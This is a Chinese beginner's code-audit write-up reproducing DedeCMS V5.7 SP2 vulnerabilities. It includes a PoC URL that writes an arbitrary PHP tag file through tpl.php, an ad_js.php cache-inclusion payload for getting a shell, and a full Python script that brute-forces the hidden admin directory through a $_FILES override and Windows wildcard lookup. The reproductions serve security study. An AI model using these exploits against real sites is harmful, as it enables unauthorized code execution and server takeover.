代码审计入门级DedecmsV5.7 SP2分析复现

author: Hpdoger

 

索引

Dedecms的洞有很多,而最新版的v5.7 sp2更新也止步于1月。作为一个审计小白,看过《代码审计-企业级Web代码安全构架》后懵懵懂懂,一次偶然网上冲浪看到mochazz师傅在blog发的审计项目,十分有感触。跟着复现了两个dedecms代码执行的cve,以一个新手的视角重新审视这些代码,希望文章可以帮助像我这样入门审计不久的表哥们。文章若有片面或不足的地方还请师傅们多多斧正。

 

环境

php5.45 + mysql
审计对象:DedeCMS V5.7 SP2
工具:seay源码审计

 

后台代码执行

漏洞描述

DedeCMS V5.7 SP2版本中tpl.php存在代码执行漏洞,攻击者可利用该漏洞在增加新的标签中上传木马,获取webshell

代码审计

漏洞位置:dede/tpl.php

看一下核心代码:

# /dede/tpl.php
<?php
require_once(dirname(__FILE__)."/config.php");
CheckPurview('plus_文件管理器');

$action = isset($action) ? trim($action) : '';
......
if(empty($filename))    $filename = '';
$filename = preg_replace("#[/\\]#", '', $filename);
......
else if($action=='savetagfile')
{
    csrf_check();
    if(!preg_match("#^[a-z0-9_-]{1,}.lib.php$#i", $filename))
    {
        ShowMsg('文件名不合法,不允许进行操作!', '-1');
        exit();
    }
    require_once(DEDEINC.'/oxwindow.class.php');
    $tagname = preg_replace("#.lib.php$#i", "", $filename);
    $content = stripslashes($content);
    $truefile = DEDEINC.'/taglib/'.$filename;
    $fp = fopen($truefile, 'w');
    fwrite($fp, $content);
    fclose($fp);
    ......
}

因为dedecms全局变量注册(register_globals=on),这里有两个可控变量$filename&$content

action=savetag时,进行csrf()检测

function csrf_check()
{
    global $token;

    if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){
        echo '<a href="http://bbs.dedecms.com/907721.html">DedeCMS:CSRF Token Check Failed!</a>';
        exit;
    }
}

验证token和已知的session是否相等,那么token的值从何获取呢?

回溯tpl.php,追踪一下token:

else if ($action == 'upload')
{
        ....
        <input name='acdir' type='hidden' value='$acdir'  />
        <input name='token' type='hidden' value='{$_SESSION['token']}'  />
        <input name='upfile' type='file' id='upfile' style='width:380px' />
}

当action=upload时,隐藏表单的value提交token值

token搞定了,再让我们继续往下审~

$truefile = DEDEINC.'/taglib/'.$filename;

传入的filename必须为 xxxx.lib.php,并且保存的也是php文件

    fwrite($fp, $content);
    fclose($fp);

写入内容为$content…那岂不是为所欲为..
poc:

http://localhost/dedecms/uploads/dede/tpl.php?action=savetagfile&filename=hpdoger.lib.php&content=<?php phpinfo();?>&token=55f2eb0ad241e1893276ed1f8e7dd5fa

在include/taglib下会产生相应xxx.lib.php

 

后台代码执行Getshell

代码审计

问题代码位于:/uploads/plus/ad_js.php

 */
require_once(dirname(__FILE__)."/../include/common.inc.php");

if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(' Request Error! ');

$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
    $row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
    $adbody = '';
    if($row['timeset']==0)
    {
        $adbody = $row['normbody'];
    }
    else
    {
        $ntime = time();
        if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
            $adbody = $row['expbody'];
        } else {
            $adbody = $row['normbody'];
        }
    }
    $adbody = str_replace('"', '"',$adbody);
    $adbody = str_replace("r", "\r",$adbody);
    $adbody = str_replace("n", "\n",$adbody);
    $adbody = "<!--rndocument.write("{$adbody}");rn-->rn";
    $fp = fopen($cacheFile, 'w');
    fwrite($fp, $adbody);
    fclose($fp); 
}
include $cacheFile;

摘出关键语句:

if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )

要求$nocache存在,又可以利用前面的全局变量注册

往下走Getone()函数进行sql查询,返回一个结果集。

而后把取到的值和当前的时间点对比作为判断条件,决定取表中的normbody还是exbody赋值给$adbody。

接着就比较明朗了..将$adbody写入文件,而文件名我们抓包应该就可以知道。

但是这里我只看了这一个文件,现在整理一下思路:
1、给出一个$aid进行sql查询
2、根据查询值判断写文件,且文件内容可控,目录已知
3、最后把写入的文件包含进来。

那么,我们这个$aid从何处传入数据库呢?随着这个思路追踪文件到:/dede/ad_add.php

一个编辑页面,抓包看一下键值对应,顺便瞅一眼mysql载入的数据
看到这里知道,清楚exbody和normbody对应的都是什么了

依据代码$row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");查看dede__myad这个库插入的内容:

看到timeset=0,回溯代码,那么直接是取$adbody = $row['normbody'];这段执行。
其实timeset何时都为0,浏览ad_add.php代码部分看到,存入数据库的timeset值就为0,语句如下,$timeset定义为0

 $query = "
     INSERT INTO #@__myad(clsid,typeid,tagname,adname,timeset,starttime,endtime,normbody,expbody)
     VALUES('$clsid','$typeid','$tagname','$adname','$timeset','$starttime','$endtime','$normbody','$expbody');

ok 要读懂流程,才能开始复现

复现

我们之前已经保存过一个页面了,直接poke一下http://localhost/dedecms/uploads/plus/ad_js.php?aid=1看看

查看写入文件:http://localhost/dedecms/uploads/data/cache/myad-1.htm注意拼接变量名

htm文件成功写入,我们回到Ad_js来执行一下任意代码。不要忘记闭合前面的document文档注释语句
payload:

hpdoger=echo '-->'; phpinfo();

 

winapi查找后台目录

利用条件

1、win系统下搭建的网站
2、网站后台目录存在/images/adminico.gif

基础知识

windows环境下查找文件基于Windows FindFirstFile的winapi函数,该函数到一个文件夹(包括子文件夹) 去搜索指定文件。

利用方法很简单,我们只要将文件名不可知部分之后的字符用“<”或者“>”代替即可,不过要注意的一点是,只使用一个“<”或者“>”则只能代表一个字符,如果文件名是12345或者更长,这时候请求“1<”或者“1>”都是访问不到文件的,需要“1<<”才能访问到,代表继续往下搜索,有点像Windows的短文件名,这样我们还可以通过这个方式来爆破目录文件了。

审计

核心文件:common.inc.php

if($_FILES)
{
    require_once(DEDEINC.'/uploadsafe.inc.php');
}

追踪uploadsafe.inc.php

if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
{
    exit('Request var not allow for uploadsafe!');
}
$$_key = $_FILES[$_key]['tmp_name']; //获取temp_name 
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) && (preg_match("#.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#.#", ${$_key.'_name'})) )
{
    if(!defined('DEDEADMIN'))
    {
        exit('Not Admin Upload filetype not allow !');
    }
}
if(empty(${$_key.'_size'}))
{
    ${$_key.'_size'} = @filesize($$_key);
}
$imtypes = array
(
    "image/pjpeg", "image/jpeg", "image/gif", "image/png", 
    "image/xpng", "image/wbmp", "image/bmp"
);
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
    $image_dd = @getimagesize($$_key); 
    //问题就在这里,获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。
    if (!is_array($image_dd))
    {
        exit('Upload filetype not allow !');
    }
}

摘出这句:

 $image_dd = @getimagesize($$_key);

进行判断$$_key是否为图片或图片是否存在

然而$$_key的来源是$_FILES[$_key][‘tmp_name’],上文说了全局变量注册,$FILE可控,那我们传入一个$_FILES[$_key][‘tmp_name’]亦可控,此处是产生了一个变量覆盖的

接着再看同文件的代码

    ${$_key.'_name'} = $_FILES[$_key]['name'];
    ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z./]#i', '', $_FILES[$_key]['type']);
    ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);

    if(!empty(${$_key.'_name'}) && (preg_match("#.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#.#", ${$_key.'_name'})) )
    {
        if(!defined('DEDEADMIN'))
        {
            exit('Not Admin Upload filetype not allow !');
        }
    }

其中,$cfg_not_allowall的范围如下:

$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";

既然上传的name不让以这些结尾,那么我们查.gif不过分吧

找一处验证以下这个核心文件产生的小漏洞:

POC

_FILES[hpdoger][tmp_name]=./ded<</images/adminico.gif&_FILES[hpdoger][name]=0&_FILES[hpdoger][size]=0&_FILES[hpdoger][type]=image/gif

这个poc根据mochazz师傅的poc练手写的,膜mochazz师傅~:

# -*- coding: utf-8 -*-
from itertools import permutations
import requests

def guess_back_dir(url,data,characters):
    for num in range(1,5):
        for every in permutations(characters,num):
            payload = ''.join(every)
            data["_FILES[hpdoger][tmp_name]"] = data["_FILES[hpdoger][tmp_name]"].format(p = payload)
            print("testing:",payload)
            r = requests.post(url,data = data)
            if find_page(r) > 0:
                print("back_dir:[+]",payload)
                data["_FILES[hpdoger][tmp_name]"] = "./{p}<</images/adminico.gif"
                return payload
            data["_FILES[hpdoger][tmp_name]"] = "./{p}<</images/adminico.gif"

def guess_rest_dir(back_dir,url,data,characters):
    while True:
        for singel in characters:
            if singel != characters[-1]:
                data["_FILES[hpdoger][tmp_name]"] = data["_FILES[hpdoger][tmp_name]"].format(p=back_dir + singel)
                r = requests.post(url,data = data)
                # print data
                if find_page(r) > 0:
                    print("guess successfully[+]:",back_dir)
                    back_dir += singel
                    data["_FILES[hpdoger][tmp_name]"] = "./{p}<</images/adminico.gif"
                    break
                data["_FILES[hpdoger][tmp_name]"] = "./{p}<</images/adminico.gif"
            else:
                return  back_dir

def find_page(response):
    if "Upload filetype not allow !" not in response.text and response.status_code == 200:
        return 1

def main():
    characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
    url = raw_input("Please input your target:")
    data = {
        "_FILES[hpdoger][tmp_name]": "./{p}<</images/adminico.gif",
        "_FILES[hpdoger][name]": 0,
        "_FILES[hpdoger][size]": 0,
        "_FILES[hpdoger][type]": "image/gif"
    }

    back_dir = guess_back_dir(url,data,characters)
    name = guess_rest_dir(back_dir,url,data,characters)
    print("The background address is[+]:",name)


if __name__ == '__main__':
    main()

最后穿插一个关于FILE变量的小知识点

$_FILES[“file”][“name”] – 被上传文件的名称
$_FILES[“file”][“type”] – 被上传文件的类型
$_FILES[“file”][“size”] – 被上传文件的大小,以字节计
$_FILES[“file”][“tmp_name”] – 存储在服务器的文件的临时副本的名称
$_FILES[“file”][“error”] – 由文件上传导致的错误代码

 

相关链接

代码审计之DedeCMS V5.7 SP2后台存在代码执行漏洞(https://mochazz.github.io/2018/03/08/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BDedeCMS%20V5.7%20SP2%E5%90%8E%E5%8F%B0%E5%AD%98%E5%9C%A8%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88%E5%A4%8D%E7%8E%B0%EF%BC%89/)

奇技淫巧 | DEDECMS找后台目录(https://mochazz.github.io/2018/02/26/DEDECMS%E6%89%BE%E5%90%8E%E5%8F%B0%E7%9B%AE%E5%BD%95%E6%8A%80%E5%B7%A7/)

膜前辈师傅们~

(完)